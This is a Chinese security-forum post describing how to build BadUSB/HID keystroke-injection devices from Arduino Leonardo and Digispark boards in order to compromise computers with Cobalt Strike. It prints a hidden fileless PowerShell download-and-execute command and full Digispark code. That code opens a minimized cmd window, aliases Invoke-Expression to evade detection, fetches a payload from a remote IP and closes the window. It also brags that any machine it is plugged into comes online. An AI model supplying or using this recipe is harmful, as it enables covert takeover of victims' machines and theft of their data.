用户
搜索
  • TA的每日心情
    无聊
    2021-11-20 18:35
  • 签到天数: 82 天

    连续签到: 1 天

    [LV.6]常住居民II

    版主

    bilibili:末心a

    Rank: 7Rank: 7Rank: 7

    105

    主题

    324

    帖子

    3029

    魔法币
    收听
    0
    粉丝
    11
    注册时间
    2018-8-22

    楚春秋达人积极活跃奖限定版春秋段子手推广达人春秋文阁

    M0x1n 版主 bilibili:末心a 楚 春秋达人 积极活跃奖 限定版春秋段子手 推广达人 春秋文阁 楼主
    发表于 2021-10-27 20:28:59 12089
    声明:本文仅仅谈论近源渗透中的HID攻击配合CobaltStrike的思路与实践记录,文中所有利用的工具将不会在本论坛内进行分享。
    前言
           在之前的一些文章中,我做了一些关于近源渗透的文章分享。那么其中的一篇文章提到了用Kali Nethunter发起的Rucky攻击(类BadUSB)(https://bbs.ichunqiu.com/thread-59952-1-1.html)。我们下面的Payload只需要稍加修改就可以利用上去。
           这篇文章中,主要我们来聊一聊HID攻击。
    什么是HID?
    HID(HumanInterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBERDUCKY(usb橡皮鸭)。国科漏斗社区先介绍以下这三种类型有何不同。
           USB橡皮鸭是一个比较早的按键注入工具,可以根据对应的要求定制软件。但是很早之前价格比较昂贵,目前已经在市场上形成了一种普遍的商业模式。
    1.png
           Teensy是拥有芯片且功能完整的单片机开发系统,可模拟键盘和鼠标,经开发的TeensyUSB可以被电脑识别成鼠标或键盘,进而执行编程的恶意代码。价格较为亲民,开源性比较强,并且可以与Kali配合使用。
    1.jpg
    两种设备
           前面已经提到了,我们有很多种方式可以去制作BadUSB,我们先来购买一下我们所需要的设备。(什么?没钱?文章回复、评论将随机抽取用户送出本节课的部分设备。)

           我们本篇主要介绍两种制作方法,Teensy和Digispark(橡皮鸭)这两种制作方式。
    Teensy制作
    准备材料:

    1.Arduino Leonardo
    1.png
    (便宜的淘宝上有抄板的设备)
    2.Micro转USB
    1.png
    3.电脑一台
    4.Arduino IDE
      
    设备清单
      
    设备名
    途径
    价格
    Arduino Leonardo
    淘宝/某多等
    20-40
    Micro转USB
    淘宝/某多等
    4

    使用Arduino IDE来编写程序:
    1.png
    选择开发板
    1.png
    随后选择开发板的端口
    1.png
    Arduino使用的是C语言编写,setup函数在设备运行后执行一次,而loop会循环执行。这是两个函数的根本区别。

    下面我们来写一个例子:
    1.png
    值得注意的是:

    Keyboard.press完一定要Keyboard.release释放按键, 不然会一直按。
    Digispark方法
    Digispark的优点就是比上面的设备造价稍微便宜一点,网上有现成的外壳可供购买。电路公开。
         购买了Digispark的Ant85后,我们需要安装Digispark的驱动:
    1.png
    1.png
    进入开发板管理页面
    1.png
    搜索找到DigistumpAVR Boards项后点击安装
    1.png
    等待开发板管理器安装完成
    打开已下载的驱动目录选择安装与操作系统相符的程序运行
    1.png
    打开计算机的设备管理器显示隐藏设备
    1.png
    插入Digispark开发板
    注意:如果你的电脑是第一次连接Digispark开发板则会听到USB设备连接的提示音,不过过了大概5秒左右就断开连接了,这是因为无法识别USB驱动造成的。如果不是第一次连接则可能再次插入Digispark时计算机就没有反应了。
    1.png
    测试上传

    点击上传,等待控制台出现提示需要连接开发板再进行连接
    1.png
    控制台提示连接设备,将开发板连接到计算机
    写入状态说明
    如果出现下图提示则说明你上传成功!!
    1.png
    如果出现下图提示则是连接超时,如果超时可以尝试换个usb口或是重新安装驱动
    1.png
    免杀制作上线CS 1.png
    由于有文件落地的动作太大,所以这里选择无文件落地的
    powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://192.168.52.23:80/a'))"
    此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行
    IEX(Invoke-expression),作用是将字符串当成powershell命令执行,并且是加载到内存中执行,不会有文件落地

    准备好要烧录的代码
    注:由于各个开发板的按键语法都有些差异,导致过程就很繁琐
    找到一个大佬的转换脚本:https://github.com/Catboy96/Automator/
    要烧录的代码如下:
    #include "DigiKeyboard.h"void setup() {  // put your setup code here, to run once:  DigiKeyboard.delay(2000);//为等待2秒  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//发送win+R  DigiKeyboard.delay(800);  DigiKeyboard.println("cmd /T:01 /K mode CON: COLS=16 LINES=1");//将cmd窗口最小化保证隐蔽性  DigiKeyboard.delay(2000);  DigiKeyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://192.119.1.106:91/a') | powershell -");//要执行的payload  DigiKeyboard.delay(3500);  DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//执行完成后alt+F4关闭窗口} void loop() {  // put your main code here, to run repeatedly: }
    可以看到这是基于C写的,本来想补充的完善一点可是发现一些键根本找不到啊!!!
    解释一下为啥每条命令后面都需要等待时间,这是为了给处理器足够的时间进行响应,如果太短,后面的命令将都不会执行或者执行出错。
    6,选择箭头指向的上传烧录按钮,之后下面会出现两行红色代码,就是要在60S内把badusb插入,必须在这时候插入,之前插入都不可以,这也是这个开发板的弊端了
    完成后将会自动执行
    真的是插谁谁上线啊
    到此基本完成了

    其他免杀也可以参考:免杀

    微信公众号:末心网安 | Q群374327762 | 淘宝店铺:末心网络|TinSec(听安)
    发表于 2021-11-4 00:26:45
    感谢分享
    剑未佩妥出门已是江湖
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册